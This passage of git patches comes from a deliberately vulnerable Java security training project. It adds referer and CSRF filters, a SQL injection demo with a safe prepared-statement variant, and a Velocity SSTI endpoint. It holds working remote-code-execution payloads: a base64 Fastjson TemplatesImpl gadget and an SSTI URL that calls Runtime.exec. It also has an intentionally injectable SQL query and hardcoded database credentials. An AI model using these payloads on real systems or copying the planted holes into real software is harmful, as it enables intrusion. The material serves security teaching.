referWhitelist)){ - response.sendRedirect("https://test.joychou.org/error3.html"); - return; + if (jsonpSwitch) { + // Check referer for all GET requests with callback parameters. + if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter("callback")) ){ + // If the check of referer fails, a 403 forbidden error page will be returned. + if (!SecurityUtil.checkURLbyEndsWith(refer, referWhitelist)){ + response.sendRedirect("https://test.joychou.org/error3.html"); + return; + } } } + filterChain.doFilter(req, res); } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index a0469477..a3b3a4bb 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -4,5 +4,5 @@ management.security.enabled=false # logging.config=classpath:logback-online.xml # jsonp check referer switch -org.joychou.security.jsonp = true +org.joychou.security.jsonp = false org.joychou.security.csrf = false \ No newline at end of file From f24df6fe46e24234e9367992df06d80414e1801b Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 8 Jul 2019 18:04:14 +0800 Subject: [PATCH 037/108] add json to jsonp --- .../joychou/controller/jsonp/JSONPAdvice.java | 7 +- .../security/CsrfAccessDeniedHandler.java | 6 ++ .../java/org/joychou/security/HttpFilter.java | 89 +++++++++++++++++++ .../org/joychou/security/SecurityUtil.java | 14 ++- .../joychou/security/WebSecurityConfig.java | 23 +++-- .../org/joychou/security/jsonpFilter.java | 60 ------------- src/main/resources/application.properties | 27 +++++- 7 files changed, 151 insertions(+), 75 deletions(-) create mode 100644 src/main/java/org/joychou/security/HttpFilter.java delete mode 100644 src/main/java/org/joychou/security/jsonpFilter.java diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java index 19b3a6e0..094070a4 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java @@ -1,12 +1,15 @@ package org.joychou.controller.jsonp; +import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; + @ControllerAdvice public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { - public JSONPAdvice() { - super("callback", "cback"); // Can set multiple paramNames + // method of using @Value in constructor + public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) { + super(callback); // Can set multiple paramNames } } diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index 81b6b0f2..65d9e6f3 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -1,6 +1,8 @@ package org.joychou.security; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.http.MediaType; import org.springframework.security.access.AccessDeniedException; import org.springframework.security.web.access.AccessDeniedHandler; @@ -17,9 +19,13 @@ */ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { + private final Logger logger= LoggerFactory.getLogger(CsrfAccessDeniedHandler.class); + @Override public void handle(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException) throws IOException, ServletException { + + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + request.getHeader("referer")); response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden response.getWriter().write("CSRF check failed by JoyChou."); // response contents diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/security/HttpFilter.java new file mode 100644 index 00000000..99309410 --- /dev/null +++ b/src/main/java/org/joychou/security/HttpFilter.java @@ -0,0 +1,89 @@ +package org.joychou.security; + + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.apache.commons.lang.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; + + +/** + * Check referer for all GET requests with callback parameters. + * If the check of referer fails, a 403 forbidden error page will be returned. + * + * Still need to add @ServletComponentScan annotation in Application.java. + * + */ +@WebFilter(filterName = "referFilter", urlPatterns = "/*") +public class HttpFilter implements Filter { + + @Value("${joychou.security.referer.enabled}") + private Boolean referSecEnabled = false; + + @Value("${joychou.security.jsonp.callback}") + private String[] callbacks; + + @Value("${joychou.security.referer.hostwhitelist}") + private String[] referWhitelist; + + @Value("${joychou.security.referer.uri}") + private String[] referUris; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger= LoggerFactory.getLogger(HttpFilter.class); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + + String refer = request.getHeader("referer"); + PathMatcher matcher = new AntPathMatcher(); + boolean isMatch = false; + for (String uri: referUris) { + if ( matcher.match (uri, request.getRequestURI()) ) { + isMatch = true; + break; + } + } + + if (isMatch) { + if (referSecEnabled) { + // Check referer for all GET requests with callback parameters. + for (String callback: callbacks) { + if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){ + // If the check of referer fails, a 403 forbidden error page will be returned. + if (!SecurityUtil.checkURLbyEndsWith(refer, referWhitelist)){ + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + refer); + response.sendRedirect("https://test.joychou.org/error3.html"); + return; + } + } + } + } + } + + + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 6eab2cac..63de75d8 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -55,11 +55,23 @@ public static Boolean checkSSRF(String url) { /** * Suitable for: TTL isn't set to 0 & Redirect is forbidden. * - * @param url the url needs to check + * @param url The url that needs to check. * @return Safe url returns true. Dangerous url returns false. */ public static boolean checkSSRFWithoutRedirect(String url) { return !SSRFChecker.isInnerIPByUrl(url); } + /** + * Check SSRF by host white list. + * This is the simplest and most effective method to fix ssrf vul. + * + * @param url The url that needs to check. + * @param hostWlist host whitelist + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) { + return checkURLbyEndsWith(url, hostWlist); + } + } \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 68af7121..5ad22e2b 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -20,22 +20,27 @@ @Configuration public class WebSecurityConfig extends WebSecurityConfigurerAdapter { - @Value("${org.joychou.security.csrf}") - private Boolean csrfSwitch; // get csrf switch in application.properties + @Value("${joychou.security.csrf.enabled}") + private Boolean csrfEnabled = false; - RequestMatcher csrfRequestMatcher = new RequestMatcher() { + @Value("${joychou.security.csrf.exclude.url}") + private String[] csrfExcludeUrl; + + @Value("${joychou.security.csrf.method}") + private String[] csrfMethod = {"POST"}; - // 配置不需要CSRF校验的请求方式 - private final HashSet allowedMethods = new HashSet( - Arrays.asList("GET", "HEAD", "TRACE", "OPTIONS")); + RequestMatcher csrfRequestMatcher = new RequestMatcher() { @Override public boolean matches(HttpServletRequest request) { + + // 配置需要CSRF校验的请求方式， + HashSet allowedMethods = new HashSet(Arrays.asList(csrfMethod)); // return false表示不校验csrf - if (!csrfSwitch) { + if (!csrfEnabled) { return false; } - return !this.allowedMethods.contains(request.getMethod()); + return allowedMethods.contains(request.getMethod()); } }; @@ -47,7 +52,7 @@ protected void configure(HttpSecurity http) throws Exception { // 但存在后端多台服务器情况，session不能同步的问题，所以一般使用cookie模式。 http.csrf() .requireCsrfProtectionMatcher(csrfRequestMatcher) - .ignoringAntMatchers("/xxe/**", "/fastjon/**") // 不进行csrf校验的uri，多个uri使用逗号分隔 + .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri，多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); // 自定义csrf校验失败的代码，默认是返回403错误页面 http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); diff --git a/src/main/java/org/joychou/security/jsonpFilter.java b/src/main/java/org/joychou/security/jsonpFilter.java deleted file mode 100644 index e88d854f..00000000 --- a/src/main/java/org/joychou/security/jsonpFilter.java +++ /dev/null @@ -1,60 +0,0 @@ -package org.joychou.security; - - -import javax.servlet.*; -import javax.servlet.annotation.WebFilter; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import org.apache.commons.lang.StringUtils; -import org.springframework.beans.factory.annotation.Value; - - -/** - * Check referer for all GET requests with callback parameters. - * If the check of referer fails, a 403 forbidden error page will be returned. - * - * Still need to add @ServletComponentScan annotation in Application.java. - * - */ -@WebFilter(filterName = "referSecCheck", urlPatterns = "/*") -public class jsonpFilter implements Filter { - - @Value("${org.joychou.security.jsonp}") - private Boolean jsonpSwitch; // get application.properties configure - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) - throws IOException, ServletException { - - HttpServletRequest request = (HttpServletRequest) req; - HttpServletResponse response = (HttpServletResponse) res; - - String refer = request.getHeader("referer"); - String referWhitelist[] = {"joychou.org", "joychou.com"}; - - if (jsonpSwitch) { - // Check referer for all GET requests with callback parameters. - if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter("callback")) ){ - // If the check of referer fails, a 403 forbidden error page will be returned. - if (!SecurityUtil.checkURLbyEndsWith(refer, referWhitelist)){ - response.sendRedirect("https://test.joychou.org/error3.html"); - return; - } - } - } - - - filterChain.doFilter(req, res); - } - - @Override - public void destroy() { - - } -} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index a3b3a4bb..ddf4d13b 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -3,6 +3,27 @@ management.security.enabled=false # logging.config=classpath:logback-online.xml -# jsonp check referer switch -org.joychou.security.jsonp = false -org.joychou.security.csrf = false \ No newline at end of file + + +### check referer configuration begins ### +joychou.security.referer.enabled = true +joychou.security.referer.hostwhitelist = joychou.org, joychou.com +# Only support ant url style. +joychou.security.referer.uri = /jsonp/** +### check referer configuration ends ### + + +### csrf configuration begins ### +# csrf token check +joychou.security.csrf.enabled = true +# URI without CSRF check (only support ANT url format) +joychou.security.csrf.exclude.url = /xxe/**, /fastjon/** +# method for CSRF check +joychou.security.csrf.method = POST +### csrf configuration ends ### + + +### jsonp configuration begins ### # auto convert json to jsonp +# callback parameters name +joychou.security.jsonp.callback = callback, _callback +### jsonp configuration ends ### \ No newline at end of file From cc946392d249b8fca951764a89bdcff4f66a822c Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 17 Jul 2019 22:07:45 +0800 Subject: [PATCH 038/108] add mybatis sql --- java-sec-code.iml | 9 ++ pom.xml | 8 ++ .../java/org/joychou/controller/SQLI.java | 135 +++++++++++++++--- .../org/joychou/controller/jsonp/JSONP.java | 2 +- src/main/java/org/joychou/dao/User.java | 34 +++++ .../java/org/joychou/mapper/UserMapper.java | 18 +++ src/main/resources/application.properties | 7 + src/main/resources/mapper/UserMapper.xml | 23 +++ 8 files changed, 214 insertions(+), 22 deletions(-) create mode 100644 src/main/java/org/joychou/dao/User.java create mode 100644 src/main/java/org/joychou/mapper/UserMapper.java create mode 100644 src/main/resources/mapper/UserMapper.xml diff --git a/java-sec-code.iml b/java-sec-code.iml index 8a7c0cb7..10a8f2b2 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -171,5 +171,14 @@ + + + + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index bcfd042c..1c13246a 100644 --- a/pom.xml +++ b/pom.xml @@ -169,6 +169,14 @@ 3.1 + + + + org.mybatis.spring.boot + mybatis-spring-boot-starter + 1.3.2 + + diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index a65b8ba8..a4344b85 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -1,9 +1,10 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.joychou.mapper.UserMapper; +import org.joychou.dao.User; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; import java.sql.*; @@ -15,44 +16,46 @@ * @desc SQL Injection */ -@Controller +@RestController @RequestMapping("/sqli") public class SQLI { - @RequestMapping("/jdbc") - @ResponseBody - public static String jdbc_sqli(HttpServletRequest request){ + private static String driver = "com.mysql.jdbc.Driver"; + private static String url = "jdbc:mysql://localhost:3306/java_sec_code"; + private static String user = "root"; + private static String password = "woshishujukumima"; - String name = request.getParameter("name"); - String driver = "com.mysql.jdbc.Driver"; - String url = "jdbc:mysql://localhost:3306/sectest"; - String user = "root"; - String password = "woshishujukumima"; + @Autowired + private UserMapper userMapper; + + + /** + * Vul Code. + * http://localhost:8080/sqli/jdbc/vul?username=joychou + * + * @param username username + */ + @RequestMapping("/jdbc/vul") + public static String jdbc_sqli_vul(@RequestParam("username") String username){ String result = ""; try { Class.forName(driver); - Connection con = DriverManager.getConnection(url,user,password); + Connection con = DriverManager.getConnection(url, user, password); if(!con.isClosed()) System.out.println("Connecting to Database successfully."); // sqli vuln code 漏洞代码 Statement statement = con.createStatement(); - String sql = "select * from users where name = '" + name + "'"; + String sql = "select * from users where username = '" + username + "'"; System.out.println(sql); ResultSet rs = statement.executeQuery(sql); - // fix code 用预处理修复SQL注入 -// String sql = "select * from users where name = ?"; -// PreparedStatement st = con.prepareStatement(sql); -// st.setString(1, name); -// System.out.println(st.toString()); // 预处理后的sql -// ResultSet rs = st.executeQuery(); System.out.println("-----------------"); while(rs.next()){ - String res_name = rs.getString("name"); + String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); result += res_name + ": " + res_pwd + "\n"; System.out.println(res_name + ": " + res_pwd); @@ -77,4 +80,94 @@ public static String jdbc_sqli(HttpServletRequest request){ return result; } + + /** + * Security Code. + * http://localhost:8080/sqli/jdbc/sec?username=joychou + * + * @param username username + */ + @RequestMapping("/jdbc/sec") + public static String jdbc_sqli_sec(@RequestParam("username") String username){ + + String result = ""; + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if(!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + + // fix code + String sql = "select * from users where username = ?"; + PreparedStatement st = con.prepareStatement(sql); + st.setString(1, username); + System.out.println(st.toString()); // sql after prepare statement + ResultSet rs = st.executeQuery(); + + System.out.println("-----------------"); + + while(rs.next()){ + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + result += res_name + ": " + res_pwd + "\n"; + System.out.println(res_name + ": " + res_pwd); + + } + rs.close(); + con.close(); + + + }catch (ClassNotFoundException e) { + System.out.println("Sorry,can`t find the Driver!"); + e.printStackTrace(); + }catch (SQLException e) { + e.printStackTrace(); + }catch (Exception e) { + e.printStackTrace(); + + }finally{ + System.out.println("-----------------"); + System.out.println("Connect database done."); + } + return result; + } + + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec01?username=joychou + * + * @param username username + */ + @GetMapping("/mybatis/sec01") + public User mybatis_vul1(@RequestParam("username") String username) { + return userMapper.findByUserName(username); + } + + + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec02?id=1 + * + * @param id id + */ + @GetMapping("/mybatis/sec02") + public User mybatis_v(@RequestParam("id") Integer id) { + return userMapper.findById(id); + } + + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec03 + **/ + @GetMapping("/mybatis/sec03") + public User mybatis_vul2() { + return userMapper.OrderByUsername(); + } + + } diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java index f78b2aa8..2f474440 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -57,7 +57,7 @@ private static String emptyReferer(HttpServletRequest request, HttpServletRespon /** * Adding callback or cback on parameter can automatically return jsonp data. * http://localhost:8080/jsonp/advice?callback=test - * http://localhost:8080/jsonp/advice?cback=test + * http://localhost:8080/jsonp/advice?_callback=test * * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. * Such as JSONOjbect or JavaBean. String type cannot be used. diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java new file mode 100644 index 00000000..b9bc8341 --- /dev/null +++ b/src/main/java/org/joychou/dao/User.java @@ -0,0 +1,34 @@ +package org.joychou.dao; + +import java.io.Serializable; + +public class User implements Serializable { + private static final long serialVersionUID = 1L; + private Integer id; + private String username; + private String password; + + public Integer getId() { + return id; + } + public void setId(Integer id) { + this.id = id; + } + + + public String getUsername() { + return username; + } + public void setUsername(String username) { + this.username = username; + } + + + public String getPassword() { + return password; + } + public void setPassword(String password) { + this.password = password; + } + +} diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java new file mode 100644 index 00000000..33114048 --- /dev/null +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -0,0 +1,18 @@ +package org.joychou.mapper; + +import org.apache.ibatis.annotations.Mapper; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; +import org.joychou.dao.User; + +@Mapper +public interface UserMapper { + + // If using simple sql, we can use annotation. + @Select("select * from users where username = #{username}") + User findByUserName(@Param("username") String username); + + User findById(Integer id); + + User OrderByUsername(); +} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index ddf4d13b..c37be3fa 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,4 +1,11 @@ +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code?useUnicode=true&characterEncoding=utf8&useSSL=false&serverTimezone=GMT%2B8 +spring.datasource.username=root +spring.datasource.password=woshishujukumima +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +mybatis.mapper-locations=classpath:mapper/*.xml + + # Spring Boot Actuator Vulnerable Config management.security.enabled=false # logging.config=classpath:logback-online.xml diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml new file mode 100644 index 00000000..dd88f424 --- /dev/null +++ b/src/main/resources/mapper/UserMapper.xml @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file From 839f5328e7ce5ccfa5ad8635262e6334113fbf9b Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 19 Jul 2019 17:27:29 +0800 Subject: [PATCH 039/108] Add ssti & resolveClass blacklist --- README.md | 1 + README_zh.md | 1 + java-sec-code.iml | 1 + pom.xml | 7 ++ .../java/org/joychou/controller/Fastjson.java | 10 ++- .../java/org/joychou/controller/SSTI.java | 37 +++++++++ .../java/org/joychou/controller/Test.java | 4 +- .../java/org/joychou/mapper/UserMapper.java | 5 +- .../security/AntObjectInputStream.java | 78 +++++++++++++++++++ src/main/resources/application.properties | 2 +- 10 files changed, 139 insertions(+), 7 deletions(-) create mode 100644 src/main/java/org/joychou/controller/SSTI.java create mode 100644 src/main/java/org/joychou/security/AntObjectInputStream.java diff --git a/README.md b/README.md index b1f4b020..3b35747f 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,7 @@ Sort by letter. - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) - [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) diff --git a/README_zh.md b/README_zh.md index e5d00569..70bbaedf 100644 --- a/README_zh.md +++ b/README_zh.md @@ -26,6 +26,7 @@ - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) - [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) diff --git a/java-sec-code.iml b/java-sec-code.iml index 10a8f2b2..9cb2ac16 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -180,5 +180,6 @@ + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 1c13246a..99e59ea0 100644 --- a/pom.xml +++ b/pom.xml @@ -177,6 +177,13 @@ 1.3.2 + + + org.apache.velocity + velocity + 1.7 + + diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 6609ad54..684ee253 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -2,6 +2,7 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.parser.Feature; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; @@ -29,9 +30,10 @@ public static String Deserialize(@RequestBody String params) { } } - public static void main(String[] args){ - String str = "{\"name\": \"fastjson\"}"; - JSONObject jo = JSON.parseObject(str); - System.out.println(jo.get("name")); // fastjson + public static void main(String[] args) { + + // Open calc in mac + String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; + JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField); } } diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java new file mode 100644 index 00000000..7e9d2edb --- /dev/null +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -0,0 +1,37 @@ +package org.joychou.controller; + + +import org.apache.velocity.VelocityContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import org.apache.velocity.app.Velocity; + +import java.io.StringWriter; + +@RestController +@RequestMapping("/ssti") +public class SSTI { + + /** + * SSTI of Java velocity. + * Open a calculator in MacOS. + * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) + * + * @param template exp + */ + @GetMapping("/velocity") + private static void velocity(String template){ + Velocity.init(); + + VelocityContext context = new VelocityContext(); + + context.put("author", "Elliot A."); + context.put("address", "217 E Broadway"); + context.put("phone", "555-1337"); + + StringWriter swOut = new StringWriter(); + Velocity.evaluate(context, swOut, "test", template); + } +} diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java index b7374f1d..902b2269 100644 --- a/src/main/java/org/joychou/controller/Test.java +++ b/src/main/java/org/joychou/controller/Test.java @@ -5,6 +5,7 @@ import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @Controller @@ -13,8 +14,9 @@ public class Test { @RequestMapping(value = "/") @ResponseBody - private String Index(HttpServletResponse response) { + private String Index(HttpServletResponse response, String empId) { + System.out.println(empId); Cookie cookie = new Cookie("XSRF-TOKEN", "123"); cookie.setDomain("taobao.com"); cookie.setMaxAge(-1); // forever time diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java index 33114048..36c2f734 100644 --- a/src/main/java/org/joychou/mapper/UserMapper.java +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -8,7 +8,10 @@ @Mapper public interface UserMapper { - // If using simple sql, we can use annotation. + /** + * If using simple sql, we can use annotation. Such as @Select @Update. + * If using ${username}, application will send a error. + */ @Select("select * from users where username = #{username}") User findByUserName(@Param("username") String username); diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java new file mode 100644 index 00000000..d837b4c1 --- /dev/null +++ b/src/main/java/org/joychou/security/AntObjectInputStream.java @@ -0,0 +1,78 @@ 